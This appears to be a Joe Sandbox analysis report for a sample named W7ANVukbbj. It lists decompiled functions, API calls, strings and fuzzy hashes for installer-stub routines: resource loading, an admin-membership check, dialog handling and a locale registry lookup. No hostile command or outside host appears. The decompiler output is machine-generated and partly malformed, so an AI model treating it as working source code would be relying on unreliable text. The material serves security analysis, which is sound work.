FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
memcpy_s.MSVCRT ref: 008646E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

Strings

herso, xrefs: 008646E4
TITLE, xrefs: 0086469D, 008646C0

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$herso
API String ID: 3370778649-823998585
Opcode ID: 5a85dce2a8f3e0d06d0613bab782cb286893e60fb367663001ed70794b0c10d2
Instruction ID: 57a92e4848f4d98f8c94b03a6dc387b11393de090a13c888f368c21084dd28e4
Opcode Fuzzy Hash: 5a85dce2a8f3e0d06d0613bab782cb286893e60fb367663001ed70794b0c10d2
Instruction Fuzzy Hash: CC018636244210BBF3541BA5AC4DF6B7E2DFBD6B51F061014FA4AE6150C9F188418AA6

Uniqueness

Uniqueness Score: -1.00%

Function 008617EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E008617EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x868004; // 0xb82e2007
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x86a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00866CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x008617f6
0x008617fd
0x00861805
0x0086180b
0x0086180d
0x00861815
0x00861818
0x00861820
0x00861824
0x0086182c
0x00861832
0x00861837
0x00861851
0x00861854
0x0086185d
0x00861862
0x0086186c
0x00861872
0x00861877
0x0086187e
0x0086187e
0x00861883
0x00861883
0x0086185d
0x0086188a
0x0086188a
0x008618a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,008618DD), ref: 0086181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0086182C
AllocateAndInitializeSid.ADVAPI32(008618DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,008618DD), ref: 00861855
FreeSid.ADVAPI32(?,?,?,?,008618DD), ref: 00861883
FreeLibrary.KERNEL32(00000000,?,?,?,008618DD), ref: 0086188A

Strings

advapi32.dll, xrefs: 00861810
CheckTokenMembership, xrefs: 00861826

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 15748a4db605529cb9f959bf39f8ba37513ce95e541b62a029b3d374f8274492
Instruction ID: ad664476b6cf12c2768c3d53e31b7cddf9aa864c5f70c707684bdb5a5fc7bf5b
Opcode Fuzzy Hash: 15748a4db605529cb9f959bf39f8ba37513ce95e541b62a029b3d374f8274492
Instruction Fuzzy Hash: 03119371E00209EBDB149FA4DC49ABEBB78FF44700F161569FA15F7291DB709D048B92

Uniqueness

Uniqueness Score: -1.00%

Function 00863450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00863450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E008643D0(_t24, _t12);
					SetWindowTextA(_t24, "herso");
					SetDlgItemTextA(_t24, 0x838,  *0x869404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x8691dc = 1;
					goto L8;
				}
				return 0;
			}

0x00863459
0x0086345c
0x008634d8
0x008634de
0x00000000
0x008634e0
0x0086345e
0x00863463
0x0086349a
0x008634a0
0x008634a7
0x008634b2
0x008634c4
0x008634cb
0x00000000
0x008634cb
0x00863468
0x0086346e
0x00863474
0x00000000
0x00000000
0x0086347c
0x0086348c
0x00863490
0x00000000
0x00863496
0x00863484
0x00000000
0x00000000
0x00863486
0x00000000
0x00863486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00863490
GetDesktopWindow.USER32 ref: 0086349A
SetWindowTextA.USER32(?,herso), ref: 008634B2
SetDlgItemTextA.USER32(?,00000838), ref: 008634C4
SetForegroundWindow.USER32(?), ref: 008634CB
EndDialog.USER32(?,00000002), ref: 008634D8

Strings

herso, xrefs: 008634AC

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: herso
API String ID: 852535152-3992069730
Opcode ID: c289bbbbc7a76ef8bc11cfb07d682bd17cab66a35bbbd7fd97fd5b85243f823f
Instruction ID: c2a974391c5f302a9792289eca702e25803107e305e812c5966e2addc32e2ba3
Opcode Fuzzy Hash: c289bbbbc7a76ef8bc11cfb07d682bd17cab66a35bbbd7fd97fd5b85243f823f
Instruction Fuzzy Hash: 4301D431240118ABC71A5F69EC0C96DBB64FB16700F135010F947E66A0CFB59F51CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00862AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00862AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x868004; // 0xb82e2007
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x869a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00861680(_t65, E008617C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E008665E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00861680(_t65, E008617C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00866CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00862aac
0x00862ab7
0x00862abc
0x00862abe
0x00862ac3
0x00862ac6
0x00862ac9
0x00862ace
0x00862ae6
0x00862bdc
0x00862bdc
0x00862be0
0x00000000
0x00000000
0x00862af2
0x00862afc
0x00862b00
0x00862b05
0x00862b05
0x00862b0b
0x00862bca
0x00862bd1
0x00862b11
0x00862b18
0x00862b26
0x00862b99
0x00862bc8
0x00000000
0x00000000
0x00862b9b
0x00862bae
0x00862bb3
0x00862bb5
0x00862bb5
0x00862bb8
0x00862bb8
0x00862bba
0x00862bbb
0x00000000
0x00862bb8
0x00862b28
0x00862b2e
0x00862b33
0x00862b39
0x00862b3c
0x00862b3c
0x00862b3e
0x00862b3f
0x00862b55
0x00862b5d
0x00862b64
0x00862b64
0x00862b7a
0x00862b7f
0x00862b81
0x00862b81
0x00862b84
0x00862b84
0x00862b86
0x00862b87
0x00862bbf
0x00862bc1
0x00862bc1
0x00862b26
0x00862bda
0x00862bda
0x00862be6
0x00862be6
0x00862bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00862AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00862AF2
CharNextA.USER32(?), ref: 00862B12
CharUpperA.USER32 ref: 00862B1E
CharPrevA.USER32(?,?), ref: 00862B55
CharNextA.USER32(?), ref: 00862BD4

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 676a498b0fe214d74a92ef1af2e7057ca5e53591fa61d290f456bcece05eb595
Instruction ID: 1a1eb7ef079786bf318c35a1490e4f69bbd0cd80c1338792a0b550ca2fc82b1c
Opcode Fuzzy Hash: 676a498b0fe214d74a92ef1af2e7057ca5e53591fa61d290f456bcece05eb595
Instruction Fuzzy Hash: AE4103346046859EDB199F349C14AFD7BA9FF52320F0A00DAE8C2D7202DF754E868B61

Uniqueness

Uniqueness Score: -1.00%

Function 008643D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E008643D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x868004; // 0xb82e2007
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00866CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x008643d0
0x008643d8
0x008643df
0x008643e6
0x008643ec
0x008643f1
0x00864400
0x00864403
0x0086440b
0x00864420
0x00864429
0x00864437
0x00864444
0x00864447
0x0086444d
0x00864454
0x0086445b
0x00864460
0x00864461
0x00864467
0x0086446f
0x00864473
0x00864473
0x00864463
0x00864463
0x00864463
0x0086447a
0x00864481
0x00864484
0x0086448a
0x00864492
0x00864496
0x00864496
0x00864486
0x00864486
0x00864486
0x008644b8

APIs

GetWindowRect.USER32(?,?), ref: 008643F1
GetWindowRect.USER32(00000000,?), ref: 0086440B
GetDC.USER32(?), ref: 00864423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0086442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0086443A
ReleaseDC.USER32(?,00000000), ref: 00864447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 008644A2

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 36afeddf5854909a0c92378d1cd7fe5dba2a21171821a12b74f2c5dffc99bbdb
Instruction ID: 9c9879a7e50edcbdf47b22e4f347fef47430a764281dcc115d4c1bbd6d7a8e1c
Opcode Fuzzy Hash: 36afeddf5854909a0c92378d1cd7fe5dba2a21171821a12b74f2c5dffc99bbdb
Instruction Fuzzy Hash: 56314B32E00119AFCB14CFB8DD899EEBBB5FB89310F165169F806F3240DA70AC058B65

Uniqueness

Uniqueness Score: -1.00%

Function 00866298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00866298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x868004; // 0xb82e2007
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E0086171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x869124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x86a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E0086171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00866CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00866298
0x008662a0
0x008662a7
0x008662ad
0x008662af
0x008662bb
0x008662c3
0x008662c4
0x0086633b
0x0086633b
0x00866345
0x0086634d
0x00000000
0x00000000
0x008662da
0x008662de
0x0086635f
0x00866369
0x008662e0
0x008662e0
0x008662e0
0x008662e3
0x008662e5
0x008662e5
0x008662e8
0x008662e8
0x008662ea
0x008662eb
0x008662ef
0x008662f1
0x008662f3
0x00866302
0x00866308
0x0086630d
0x00866314
0x00866314
0x00866316
0x00866319
0x00866355
0x00866357
0x0086631b
0x0086631b
0x00866331
0x00866334
0x00866339
0x00000000
0x00866339
0x00866319
0x0086636b
0x0086637d
0x0086637d
0x00000000

APIs

Part of subcall function 0086171E: _vsnprintf.MSVCRT ref: 00861750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,008651CA,00000004,00000024,00862F71,?,00000002,00000000), ref: 008662CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,008651CA,00000004,00000024,00862F71,?,00000002,00000000), ref: 008662D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,008651CA,00000004,00000024,00862F71,?,00000002,00000000), ref: 0086631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00866345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,008651CA,00000004,00000024,00862F71,?,00000002,00000000), ref: 00866357

Strings

UPDFILE%lu, xrefs: 008662B3, 00866329

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 9057978f130cfc17423515812a06c9af770ac56ed4299dcb09985fc5c754a90f
Instruction ID: bb7ec774de51ec6d3330548cd5021da380da5b7189a67733aebce3e913247173
Opcode Fuzzy Hash: 9057978f130cfc17423515812a06c9af770ac56ed4299dcb09985fc5c754a90f
Instruction Fuzzy Hash: EB212331A00219ABCB149F649D499BEBB78FB48704B060129F902E3341EB798D128BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0086681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0086681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x868004; // 0xb82e2007
				_v8 = _t19 ^ _t44;
				_t41 =  *0x8681d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x8681d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x8681d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x861140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E008666F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x8681d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E00866CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x0086681f
0x0086682a
0x00866831
0x00866836
0x0086683c
0x0086683e
0x00866848
0x00866851
0x0086685d
0x00866864
0x00866876
0x0086693a
0x0086693a
0x0086687c
0x0086687e
0x00866885
0x00000000
0x008668d6
0x008668f4
0x00866900
0x00866902
0x0086690a
0x00000000
0x0086690c
0x0086690c
0x0086691c
0x00000000
0x0086691e
0x00866924
0x0086692b
0x00866932
0x00000000
0x00000000
0x00000000
0x0086692b
0x0086691c
0x0086690a
0x00866885
0x00866876
0x00866951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0086686E
GetSystemMetrics.USER32(0000004A), ref: 008668A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 008668CC
RegQueryValueExA.ADVAPI32(?,00861140,00000000,?,?,0000000C), ref: 008668F4
RegCloseKey.ADVAPI32(?), ref: 00866902

Part of subcall function 008666F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0086691A), ref: 00866741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 008668C2

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 00a2371be1694ffef26468245031e626754772ff425044bed637e92cdb7d8e02
Instruction ID: c69dd78b981c7b44db8ff4fb7bb688988a507a320470ce5f920d3b339259061f
Opcode Fuzzy Hash: 00a2371be1694ffef26468245031e626754772ff425044bed637e92cdb7d8e02
Instruction Fuzzy Hash: F4318031A00259DFDF218B21DC45BAABB78FB45728F0201A5E94DF2140EB709D958F92

Uniqueness

Uniqueness Score: -1.00%

Function 00863A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00863A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E0086468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x868d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E0086468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x868d4c, "<None>") == 0) {
							LocalFree( *0x868d4c);
							L9:
							 *0x869124 = 0;
							return 1;
						}
						_t9 = E00866517(_t19, 0x7d1, 0, E00863100, 0, 0);
						LocalFree( *0x868d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x869124 = 0x800704c7;
						L2:
						return 0;
					}
					E008644B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x868d4c);
					 *0x869124 = 0x80070714;
					goto L2;
				}
				E008644B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x869124 = E00866285();
				goto L2;
			}

0x00863a46
0x00863a57
0x00863a5d
0x00863a63
0x00863a6a
0x00863a91
0x00863a9a
0x00863ad8
0x00863b13
0x00863b19
0x00863b1b
0x00000000
0x00863b21
0x00863ae7
0x00863af4
0x00863afc
0x00000000
0x00000000
0x00863afe
0x00863a87
0x00000000
0x00863a87
0x00863aa8
0x00863ab3
0x00863ab9
0x00000000
0x00863ab9
0x00863a78
0x00863a82
0x00000000

APIs

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00862F64,?,00000002,00000000), ref: 00863A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00863AB3

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Part of subcall function 00866285: GetLastError.KERNEL32(00865BBC), ref: 00866285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00863AD0
LocalFree.KERNEL32 ref: 00863B13

Part of subcall function 00866517: FindResourceA.KERNEL32(00860000,000007D6,00000005), ref: 0086652A
Part of subcall function 00866517: LoadResource.KERNEL32(00860000,00000000,?,?,00862EE8,00000000,008619E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00866538
Part of subcall function 00866517: DialogBoxIndirectParamA.USER32(00860000,00000000,00000547,008619E0,00000000), ref: 00866557
Part of subcall function 00866517: FreeResource.KERNEL32(00000000,?,?,00862EE8,00000000,008619E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00866560

LocalFree.KERNEL32(00000000,00863100,00000000,00000000), ref: 00863AF4

